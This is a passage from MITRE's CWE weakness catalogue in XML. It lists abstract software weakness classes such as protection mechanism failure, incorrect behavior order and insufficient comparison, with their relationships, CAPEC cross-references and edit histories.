					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Other_Notes,
						Theoretical_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Observed_Examples, References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Windows ::DATA Alternate Data
						Stream</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-12-13">Failure to Handle Windows
						::DATA Alternate Data Stream</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="691" Name="Insufficient Control Flow Management" Weakness_Abstraction="Class" Status="Draft">
			      <Description>
				        <Description_Summary>The code does not sufficiently manage its control flow during
					execution, creating conditions in which the control flow can be modified in
					unexpected ways.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>361</Relationship_Target_ID>
					          <!--Time and State-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>907</Relationship_Target_ID>
					          <!--SFP Cluster: Other-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>This is a fairly high-level concept, although it covers a number of
						weaknesses in CWE that were more scattered throughout the Research view
						(CWE-1000) before Draft 9 was released.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Alter execution
						logic</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Relevant_Properties>
				        <Relevant_Property>Validity</Relevant_Property>
			      </Relevant_Properties>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>Insufficient Process Validation </Mapped_Node_Name>
					          <Mapped_Node_ID>40</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>29</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Maintenance_Notes, Other_Notes,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="693" Name="Protection Mechanism Failure" Weakness_Abstraction="Class" Status="Draft">
			      <Description>
				        <Description_Summary>The product does not use or incorrectly uses a protection
					mechanism that provides sufficient defense against directed attacks against the
					product.</Description_Summary>
				        <Extended_Description>
					          <Text>This weakness covers three distinct situations. A "missing" protection
						mechanism occurs when the application does not define any mechanism against
						a certain class of attack. An "insufficient" protection mechanism might
						provide some defenses - for example, against the most common attacks - but
						it does not protect against everything that is intended. Finally, an
						"ignored" mechanism occurs when a mechanism is available and in active use
						within the product, but the developer has not applied it in some code
						path.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>254</Relationship_Target_ID>
					          <!--Security Features-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>907</Relationship_Target_ID>
					          <!--SFP Cluster: Other-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>This is a fairly high-level concept, although it covers a number of
						weaknesses in CWE that were more scattered throughout the natural hierarchy
						before Draft 9 was released.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>The concept of protection mechanisms is well established, but protection
						mechanism failures have not been studied comprehensively. It is suspected
						that protection mechanisms can have significantly different types of
						weaknesses than the weaknesses that they are intended to prevent.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>1</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>103</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>107</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>127</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>16</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>17</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>20</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>22</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>237</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>36</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>49</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>51</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>55</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>56</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>57</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>59</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>65</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>70</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>74</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>87</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>97</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships,
						Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Description,
						Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Maintenance_Notes, Other_Notes,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="694" Name="Use of Multiple Resources with Duplicate Identifier" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The product uses multiple resources that can have the same
					identifier, in a context in which unique identifiers are required. This could
					lead to operations on the wrong resource, or inconsistent
					operations.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>573</Relationship_Target_ID>
					          <!--Improper Following of Specification by Caller-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>892</Relationship_Target_ID>
					          <!--SFP Cluster: Resource Management-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>This weakness is probably closely associated with other issues related to
						doubling, such as CWE-675 (Duplicate Operations on Resource). It's usually a
						case of an API contract violation (CWE-227).</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Quality degradation</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use unique identifiers.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Relevant_Properties>
				        <Relevant_Property>Uniqueness</Relevant_Property>
			      </Relevant_Properties>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="695" Name="Use of Low-Level Functionality" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software uses low-level functionality that is explicitly
					prohibited by the framework or specification under which the software is
					supposed to operate.</Description_Summary>
				        <Extended_Description>
					          <Text>The use of low-level functionality can violate the specification in
						unexpected ways that effectively disable built-in protection mechanisms,
						introduce exploitable inconsistencies, or otherwise expose the functionality
						to attack.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>573</Relationship_Target_ID>
					          <!--Improper Following of Specification by Caller-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>887</Relationship_Target_ID>
					          <!--SFP Cluster: API-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>36</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="696" Name="Incorrect Behavior Order" Weakness_Abstraction="Class" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software performs multiple related behaviors, but the
					behaviors are performed in the wrong order in ways which may produce resultant
					weaknesses.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>691</Relationship_Target_ID>
					          <!--Insufficient Control Flow Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>748</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 50 - POSIX (POS)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>840</Relationship_Target_ID>
					          <!--Business Logic Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>907</Relationship_Target_ID>
					          <!--SFP Cluster: Other-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Alter execution
						logic</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Observe correct revocation order while relinquishing
						privileges</Mapped_Node_Name>
					          <Mapped_Node_ID>POS36-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>463</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns, Relationships, Weakness_Ordinalities</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="697" Name="Insufficient Comparison" Weakness_Abstraction="Class" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software compares two entities in a security-relevant
					context, but the comparison is insufficient, which may lead to resultant
					weaknesses.</Description_Summary>
				        <Extended_Description>
					          <Text>This weakness class covers several possibilities:</Text>
					          <Block Block_Nature="Numeric_List">
						            <Text>the comparison checks one factor incorrectly;</Text>
						            <Text>the comparison should consider multiple factors, but it does not check
							some of those factors at all.</Text>
					          </Block>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>171</Relationship_Target_ID>
					          <!--Cleansing, Canonicalization, and Comparison Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>747</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 49 - Miscellaneous (MSC)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>883</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>907</Relationship_Target_ID>
					          <!--SFP Cluster: Other-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Ensure that return values are compared against the proper
						type</Mapped_Node_Name>
					          <Mapped_Node_ID>MSC31-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
